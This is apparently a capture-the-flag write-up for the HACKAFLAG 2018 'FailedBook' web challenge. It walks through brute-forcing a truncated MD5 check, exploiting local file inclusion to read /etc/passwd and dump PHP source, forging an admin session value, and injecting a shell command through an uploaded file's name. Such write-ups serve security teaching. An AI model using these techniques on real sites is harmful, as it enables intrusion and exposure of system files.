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HACKAFLAG 2018 - Etapa Salvador - FailedBook

FailedBook (web500)

Description: do it all you need to get shell

Autor: @keerok


Below, the main page of chall:

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Of course, we don’t have login access, but it’s possible to register a new login at link Cadastro highlighted at image above:

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This page has 4 boxes: username, senha (password), confirmar senha (retype password) e verificação (verification code). Below has a information MD5 = substr(md5(s),0,6) = 49eb0f. This line code means: get first 6 characters from MD5 result from s string (senha) in PHP, implying that code referers to verification code. We have to find a word that matches with MD5’s first 6 characters. Creating a wordlist with all printable characters with 3 letters:

$ crunch 3 3 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\!\@\#\$\%\^\&\*\(\)\-_\+\=\~\`\[\]\{\}\|\\\:\;\"\'\<\>\,\.\?\/ -o wordlist.txt

Using this wordlist to find MD5 that matches with any line:

import hashlib

wl = open('wordlist.txt', 'r').read().split('\n')
for i in wl:
    md5 = hashlib.md5(i).hexdigest()[:6]
    if md5 == '49eb0f':
        print('Found! Verification code is '+i)
$ python
Found! Verification code is {d?

Now we have all of items to register our credential:

username: shrimpgo
senha: testing
verificação: {d?

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Logging in:

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Looking at source code, all of three images from Mark Zuckerberg origins from link.php?path=null&file=4fe4277bd71aa03f702a08fc5711a48c/dolphin2.jpg&type=aW1hZ2UvanBlZw%3D%3D. Maybe URI leads to LFI… Spliting URI, we have path=null, file=path/to/image and type=aW1hZ2UvanBlZw%3D%3D. Decoding base64 from var called type:

$ echo aW1hZ2UvanBlZw== | base64 -d

We see clearly this referes to MIME type. Let’s change this to text/html:

$ echo -n "text/plain"| base64

Now we’re going to try some common LFI paths known (see here) in file var:

$ curl ""
Hacker Detected ;)!
$ curl ""
Hacker Detected ;|!

I noted that expressions when I put some words like htaccess, htpassword, access, error etc., becomes :| and other errors becomes :). Testing other paths, finally I certified that LFI exists:

$ curl ""
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false

Running all of these tests, I realized that path var doesn’t do anything, it’s only confuses the player. Trying to read index.php from LFI, I still can’t read:

$ curl ""
Hacker Detected ;)!

Looking at mentioned site earlier, I tried PHP filter function:

$ curl -s "" | base64 -d

  header("Location: ../");
if(!isset($_GET['id']) || empty($_GET['id'])){
  header("Location: ?id=".urlencode(base64_encode(convert_uuencode($_SESSION['username']))));

<!DOCTYPE html>
<html lang="en" dir="ltr">
    <meta charset="utf-8">
    	<link rel="stylesheet" type="text/css" href="../vendor/bootstrap/css/bootstrap.min.css">
    <a href="logout.php">Logout</a>
    <?php echo "<br><br><p style='color: white'>Welcome " . convert_uudecode(base64_decode(urldecode($_GET['id']))) . "</p><br><br>"; ?>
    <style rel='stylesheet' type='text/css'>
        background-image: url('background.jpg');
        background-repeat: no-repeat;
        background-position: 10% 10%;
    <main role='main'>
      <div class='container'>


if(convert_uudecode(base64_decode(urldecode($_GET['id']))) != "admin"){

 <div class='row'>
   $images = scandir('./4fe4277bd71aa03f702a08fc5711a48c');
   foreach ($images as $image) {
     if($image != '..' && $image != '.' && $image != ' ' && $image != 'index.php'){
       echo "<div class='col-md-4'><img src='link.php?path=null&file=4fe4277bd71aa03f702a08fc5711a48c/".$image."&type=".urlencode(base64_encode(mime_content_type("4fe4277bd71aa03f702a08fc5711a48c/".$image)))."' width='200px' height='200px' class='rounded mx-auto d-block'></div>";
<form  action="upload.php?id=<?php echo $_GET['id']; ?>" method="post" enctype="multipart/form-data">
  <input class='form-control' type="file" name="image">
  <button type="submit" class='btn btn-primary' name="sub">Upload</button>

Cool! This code shows an important part: if var id, encoded with base64 and uuencode, was admin, then this page will show an another content, an upload form. So, it’s only encode admin and put the result in var id. I encoded uuencode and base64 here:

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I’ll access this login with the new id:

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It works! Now, I’m going to upload something:

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Ooops! It’s not allowed. Trying now images (ie. jpg):

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Ok, now it worked. But accessing this path, always gives me a 404 error, this path doesn’t exist. Analysing deeply, I’ve noted that last line is the same output for the file command in bash. I’ll intercept this POST request with burpsuite and I’ll try RCE:

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I have to insert some command and, at same time, keeping the extension image at end of file. To do this, I’ll put semicolon ; to force running a command that I want:

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WOW! You don’t need to effort so much to get the flag:

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